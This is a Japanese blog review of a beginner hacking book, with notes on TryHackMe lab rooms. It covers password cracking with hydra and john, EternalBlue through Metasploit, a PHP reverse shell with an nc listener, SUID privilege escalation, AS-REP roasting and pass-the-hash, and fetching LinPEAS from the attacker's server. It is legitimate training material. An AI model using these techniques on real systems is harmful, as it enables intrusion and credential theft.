7日間でハッキングをはじめる本をやってみた
はじめに
2024/8/28に発売された、野溝のみぞう氏著の「7日間でハッキングをはじめる本 TryHackMeを使って身体で覚える攻撃手法と脆弱性」をやってみた。思いの外長くなったので、感想を最初に書き、各章の内容を振り返ってみる。
感想
ハッキングの楽しさに触れられる良書だった。環境構築をはじめ、各章がかなり丁寧に解説されており、初心者でも躓くことなくハッキングを学べる本だと思った。用語の説明も詳しいが、「なぜこの方法を取るか?」や「どうアプローチするか?」の道筋の説明が丁寧で、わかりやすかった。あとイラストが最高にかわいい。
TryHackMeは登録したきりだったが、楽しさがやっとわかった。閉じた環境で遊べるのと、幅広いルームで遊べるのがいいと思った。ツールを試したり、脆弱性を悪用した攻撃を試せたり、CTF形式で遊べるなど、好きな遊び方ができるのが楽しい。
自身の場合は、Learning Pathに従うよりも、好きなルームをアラカルト的に解くのが向いてそうだと思った。わからないルームは途中で一旦抜けてもいいので、休みの日などにゆるく続けていきたい。
今後も気になるルームは遊んでみて、Writeupを書いていきたい。
本書のルームは大体1hほど(本の復習や情報収集をしても1章1.5hほど)で遊べるので、通読に挫折しないのもよかった。各章が独立しているので、休日メインでまったり読み進めることができた。
ハッキングに興味のある人、セキュリティを知りたい人、初心に返りたいセキュリティ界隈の方々にとてもおすすめしたい。
Day1: ハッキングの準備をしよう
以下より備忘録のメモも兼ねて7日間の内容を振り返る。
環境構築とチュートリアルの回。自分の場合はTryHackMeもKaliも入れていたので直ぐ終わると思ったが、
sudo apt update -y && sudo apt upgrade -y
の期間が空き過ぎて、実行完了までにだいぶ時間がかかった。待っている間に、1章を読みながらイラストの可愛さに癒されていた。
Kali Linuxの導入説明がかなり丁寧だった。Hyper-Vの設定の話が載っていて感動した。(VirtialBox6.0以前は、Hyper-Vとそもそも共存できず、苦労したので。。)
Kaliの便利設定も色々書かれていて、セットアップをする人にはすごく助かるだろうなーと思って読んでいた。
TryHackMeのVPN設定では、ターミナルではVPN接続に成功するがブラウザ上で反映されず、軽く詰まった。TryHackMe用のトラブルシューティングのツール(以下参照)を試したが、特に関係なかった。VPN ServerでEU-regular-2
を選択し、ログアウト後Accessに再アクセスしたらつながった。謎。
→どうやらブラウザ側の表示のバグらしい。pingが通っていたら、気にせず進めてよさそう。
TryHackMe trableshooting tool
Day2: はじめてのハッキング
2日目以降は攻略と参考に分けて記述する。攻略上大事な情報は書籍に載っているので、内容のメモや感想などを書く。参考記事は本書に載っていたり、ルームを攻略するのに参照した記事などを記載。
攻略
Basic Pentesting Roomを攻略する。辞書攻撃で遊ぶのがメインの回。
- nmapでポートスキャン→
port 80
が開いているので、http://10.x.x.x
(target machineのIP)にアクセスするnmap -sV -Pn -oN nmap.txt -v 10.x.x.x
- 80: HTTP, 22: SSH, 139/445: Sambaのポート。
- サイト接続可能→ディレクトリ構成を見たい→dirbの出番。
-
dirb {url} {wordlist path}
(引数間はスペースを空ける)
-
- hydra:
-t 8
オプションで17分程度かかった。流石rockyou.txt。- nmap, dirbもだが、総じてツール系は実行完了まで時間がかかるので、気長に待つ。
- 辞書が大きいと一定の網羅性はあるが時間がかかる。辞書が小さいと早く終わるが見つからない可能性がある。塩梅が難しいところ。
hydra result
- smbclient:
-
smbclient -L {target IP}
で、情報を取得する。 - 接続の際、パス指定時のバックスラッシュは、エスケープが必要なので
\\
2回書く。 -
get {file name}
で、ファイルを取得する。
-
- ssh: 公開鍵認証がいける→パスフレーズが設定されているので特定が必要
- 「長いパスワードを打たなくていいわ」という喜びのテキストメモを見れるが、ゆえに特定可能そうとわかる。この辺のストーリーも面白い。
- パスフレーズの特定にはJohn the ripperのツールを使う。
- id_rsaの内容をkali側にコピーして以下コマンド(★)を実行
- ハッシュ値からパスワード(今回は秘密鍵のパスフレーズ)を戻して解析する。一瞬で解析できる。
- パスフレーズがわかったらkayでssh実行→pass.bakの中身を見る(SSHで入れた時点で満足しないこと)
- ちなみに最終回答のパスワードはとても長い。これを毎回手入力だとそりゃ面倒だろうなと。
- パスワードのバックアップにはテキストファイルではなく、パスワード管理ツールを使ってほしいところ。。。
★実行コマンド
$ /usr/share/john/ss2john.py ./id_rsa > hash.txt
$ cat ./hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
ssh result
参考記事
Kaliに元々あるツールは、大体Kali公式が使い方を紹介している。
- nmap: https://nmap.org/man/ja/index.html
- dirb: https://www.kali.org/tools/dirb/
- smbclient: https://xtech.nikkei.com/it/article/COLUMN/20070618/275055/
- hydra: https://www.kali.org/tools/hydra/
- 公開鍵認証: https://tech-blog.rakus.co.jp/entry/20210727/ssh
- john the ripper: https://qiita.com/san_bay3/items/5fe14ff022200a527585
Day3: 悪用厳禁のエクスプロイトを試してみよう
攻略
Blue Roomを攻略する。ルーム名はEternal Blue由来とみられる。Metasploitで遊ぶのがメインの回。
- metasploitの出番。いつのまにかv6になっている。。
- msfconsoleでのexploitまでの流れ:
-
search {CVE番号}
: 今回はCVE番号をキーワードにして、使えるmoduleを検索。 -
use {module}
: 検索にヒットした中から、使用するmoduleを決定する。名前じゃなく番号指定でもOK。 -
show options
: 実行時に必要なオプションの情報を確認する。 -
set {option name} {option value}
: オプションに値を設定する- 今回はLHOST, RHOSTを指定。Lがローカル、Rがリモート→Target Machine。
-
exploit
orrun
: 実行する。どっちを使ってもよい。
-
実行結果。4回目で成功した。
- meterpreterの主なコマンド:
-
sysinfo
: システムの情報を取得する。 -
upload/download {file name}
: ファイルをアップロード/ダウンロードする。 -
shell
: シェルを変更する -
screenshot
: targetの画面のスクリーンショットを撮れる。
-
- flag2.txtの取得にあたり、たまに
C:\Windows\System
配下のファイル群が消えるときがあるので、その時はmsfconsoleを一旦抜けて、再度exploit実行すればOK。
RDPで接続したWindows7の画面。懐かしすぎる。
参考記事
- JVNDB-2017-001842 複数のMicrosoft Windows製品のSMBv1サーバにおける任意のコードを実行される脆弱性: https://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-001842.html
- Metasploit Doc: https://docs.metasploit.com/docs/pentesting/metasploit-guide-smb.html
- Offsec Msfconsole Commands:
https://www.offsec.com/metasploit-unleashed/msfconsole-commands/ - Shell to Meterpreter Transition in Metasploit:
https://denizhalil.com/2024/01/19/shell-to-meterpreter-transition-in-metasploit/ - meterpreterの使えるコマンド一覧: https://qwertytan.hatenablog.jp/entry/2021/08/31/142202
- Trend Micro 「WannaCry」を拡散させた脆弱性攻撃「EternalBlue」の仕組みを解説: https://www.trendmicro.com/ja_jp/research/17/f/mechanism-of-eternalblue-the-vulnerability-attack-that-spread-wannacry.html
Day4: よくある脆弱性を使って怪しいショップで遊ぼう
OWASP Juice Shop Roomを攻略する。Burpをいじりながら、脆弱なJuice屋さんで遊ぶ回。
攻略
- SQLインジェクションを刺して満足したらフラグどこ?となった。フラグは攻撃成功後すぐの画面に表示される。
- 見逃してもScoreBoardから見れる。なお、ScoreBoardの表示自体もチャレンジになっている。
- SQLi, XSS, BOLA,他多数。基本はRoom内の誘導に従えば遊べる。
- 秘密の質問の答えを公開情報から探すのが楽しかった。開発者の方は、定期的に飼い猫の名前をつぶやくのだろうか。。。
- ルームクリアと本の内容で到達スコアは19%。まだまだ遊べる。
- またdockerを立ててゆっくり遊びたい。なんやかんや途中までになってたので。
- OWASP 2021やASVSの内容を基に推測して遊ぶのも楽しそう。
Score Board
参考記事
- OWASP Juice Shop: https://owasp.org/www-project-juice-shop/
- OWASP Top10 2021: https://owasp.org/Top10/ja/
Day5: Webフォームから侵入しよう
Vulnversityルームを攻略する。リバースシェルを使う回。
攻略
-
dirbでディレクトリを調査する。
- TryHackMeのRoomだとGobusterを使用している。この辺は好みでツールを使えばいいと思う。
-
dirb -R
はホスト名のみ有効らしい。 - 特に
-R
をつけなくても、再帰的にスキャンしてくれた。
dirb実行結果
-
拡張子を集めたリスト:
/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
-
phtml
: phpの古の拡張子
-
-
リバースシェル:外側→内側の通信より、内側→外側に出る通信の方が制限ゆるいよねの考え方。
- リバースシェルの保存場所:
/usr/share/webshells/php/php-reverse-shell.php
。今後使いたい。 -
nc -lvnp {port}
: ローカルマシン側で接続を待ち受ける。 - サイトのトップページ改ざんが楽しい。今回は
/var/www/html
配下のindex.html
を改ざん。
- リバースシェルの保存場所:
-
権限昇格:SUIDを悪用する。
-
find / -perm -u=s -type f 2>/dev/null
: パーミッションが-rws
(s)となっている、SUID付きのやつをさがす
-
シェルを取ったときのキャプチャ
参考記事
- dirb: https://www.kali.org/tools/dirb/
- gobuster: https://www.kali.org/tools/gobuster/
- pentest monkey cheet sheet: https://pentestmonkey.net/category/cheat-sheet
- GTFOBins: https://gtfobins.github.io/gtfobins/systemctl/
- HackTheBox頑張る その27 ~SUID/GUIDについて: https://syachineko.hatenablog.com/entry/2020/09/09/230642
- 【TryHackMe】SUID/SGID実行可能ファイルを利用した権限昇格!Linux PrivEsc Writeup Part7:
https://hack-lab-256.com/tryhackme-linux-privesc-writeup-part7-suid-sgid/590/
Day6: Active Directoryのハッキング実践
Attacktive Directory Roomを攻略する。Active Directoryへの攻撃を学ぶ回。
キャプチャ取り忘れた。。ADはまた復習したい。
攻略
- Kerberos(ケルベロス)認証: サーバーとクライアントの間で、身元認証で利用されるプロトコル[1]。
- AS-REP Roasting攻撃: Kerberosの事前認証を無効にしているアカウントへの攻撃。任意のドメインユーザーのTGTを要求し、受け取った認証レスポンス(AS-REP)に含まれる、パスワードのハッシュ値を解析することで、ユーザのパスワードを割り出すことを試みる。
- Kerbruteツール: Active Directoryのユーザ列挙やパスワード総当たりができるツール。今回はユーザ列挙用に使用。
- Impaket:AS-REPを要求するために利用。
GETNPUsers.py
を使い、TGTを問い合わせる。- Impacketをインストールする手順は、Task2参照。
- DCsyncでは
securetdump.py
を利用する。
- hashcat: パスワードのハッシュ値を解析するツール。今回はTGT問い合わせで得られたハッシュ値を解析し、パスワード取得を試みる。
-
hashcat {option} {target file name} {wordlist}
で実行する。
-
- NTMLハッシュ: ネットワーク認証プロトコルの一種。チャレンジ&レスポンス方式。
- Pass the Hash攻撃: NTMLハッシュに関連。ハッシュを持っていればパスワードを知らなくても認証が通ることを悪用した攻撃。
参考記事
- Kali enum4linux: https://www.kali.org/tools/enum4linux/
- GitHub Kerbrute: https://github.com/ropnop/kerbrute
- GitHub Impacket: https://github.com/fortra/impacket
- Trend Micro Python製ペネトレーションテストツール「Impacket」、「Responder」の悪用手口を分析: https://www.trendmicro.com/ja_jp/research/22/i/analyzing-penetration-testing-tools-that-threat-actors-use-to-br.html
- hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes
- MITRE ATT&CK Steal or Forge Kerberos Tickets: AS-REP Roasting: https://attack.mitre.org/techniques/T1558/004/
- splunk Active DirectoryのKerberos攻撃の検出:脅威調査リリース(2022年3月): https://www.splunk.com/ja_jp/blog/security/detecting-active-directory-kerberos-attacks-threat-research-release-march-2022.html
- AS-REP Roasting攻撃【TryHackMe-Services-Writeup】: https://gintachan.com/tryhackme-services-writeup/
- NTMLハッシュ: https://www.sompocybersecurity.com/column/glossary/ntlm
- note Pass the Hash攻撃: https://note.com/toppakou/n/n91df2f3da0a4
Day7: WordPressのハッキング実践
攻略
Blog Roomを攻略する。WordPressのブログ環境を調査する回。CTF形式のルーム。ここまでの6日間の集大成感があった。
- steghide:データ内に隠された情報を解析するためのツール。
-
extract -sf {file name}
で、指定したファイルからデータを取り出す。 - ステガノグラフィ: データ内に別のデータを隠し込む技術。
-
- smbclientで取れるファイル:外れ。小ネタが面白いが。
- Alice-White-Rabbit.jpg: 出てきたtxtファイルを見ると、いい感じに煽られる。
- check-this.pngのQRコード: Youtubeの動画[2]が流れる。
白兎の写真とテキスト
-
wpscan
: WordPressといえばのスキャンツール。-
--url {URL}
: 対象URLを指定 -
--enumerate u
: ユーザ情報を探索
-
- LinPEAS: 可愛い。権限昇格できそうな設定ミスを教えてくれるツール。
- 実行結果がとても長い。黄色背景に赤(信憑性高)をいつか見てみたい。
- シェルスクリプト等の実行ファイルをターゲット側で実行する手順例(Linpeasの場合)
- ローカル側でWebサーバを立てる:
python3 -m http.server {port}
- ターゲット側のシェルでLinpeasをダウンロードする:
wget {local machine ip}:{port}/linpeas.sh
- ローカル側でWebサーバを立てる:
-
ltrace {command}
: ltaceコマンドで、対象のプロセスが実行する関数をトレースする。
参考記事
- Kali WPscan: https://www.kali.org/tools/wpscan/
- はてなブログ SteghideとStegseekを使ってみる: https://iomat.hatenablog.com/entry/2022/06/27/182746
- TrendMicro 「WordPress」の脆弱性「CVE-2019-8942」と「CVE-2019-8943」について解説: https://blog.trendmicro.co.jp/archives/20487
- GitHub LinPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
- Speacker Deck 権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS: https://speakerdeck.com/tkito/privilege-escalation-using-linpeas
- note LinEnum.shが行っているコマンドを調べてみた①: https://note.com/pien2021/n/n6c7766eb0e9e
- ltrace: https://hana-shin.hatenablog.com/entry/2022/12/02/212751
今後したいこと
- Roomで遊ぶ
- 章末の補講に書いてたRoom(特にAD系とMetasploitなどのツール系)
- OWASP Top 10
- XSS, SQLi, LDAP, CORS, OAuthなどのWeb系
- CALDERA
- Juice shop Docker版で遊びたい
- ハッキングラボ完全版で遊びたい
Discussion